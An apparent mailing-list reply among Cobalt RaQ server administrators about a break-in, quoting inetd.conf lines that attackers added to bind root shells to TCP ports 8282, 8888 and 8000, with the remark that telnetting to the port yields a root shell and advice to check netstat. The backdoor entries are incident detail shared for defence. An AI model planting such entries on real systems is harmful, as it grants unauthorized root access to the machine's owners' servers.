Re: [cobalt-users] Recent Hacks

[Jeff Bilicki <jeff@xxxxxxxxxxx>]

<GIEPIHKKCNKNGFCJNFCICEDMEMAA.isplists@xxxxxxxxxxxx> wrote:

> +I was on a hacked box today in which the cracker's way back in was 
> +tossing the
> +following lines into inetd.conf:
> +8282 stream tcp nowait root /bin/sh sh -i
> +8888 stream tcp nowait root /bin/bash bash -i
> +
> +Simple and utterly effective.  Kind of funny too. 
> +I would suggest checking the output of netstat -natp to see what 
> +is listening
> +your tcp ports.   

> I take it this would be the same senario:
> 8000 stream tcp nowait root /bin/sh sh -i
> last entry to inetd.conf on a BIND PATCHED Raq4

Yup all you have to do is telnet IP 8000 and instant root shell.   Your box was
hacked.  

Jeff-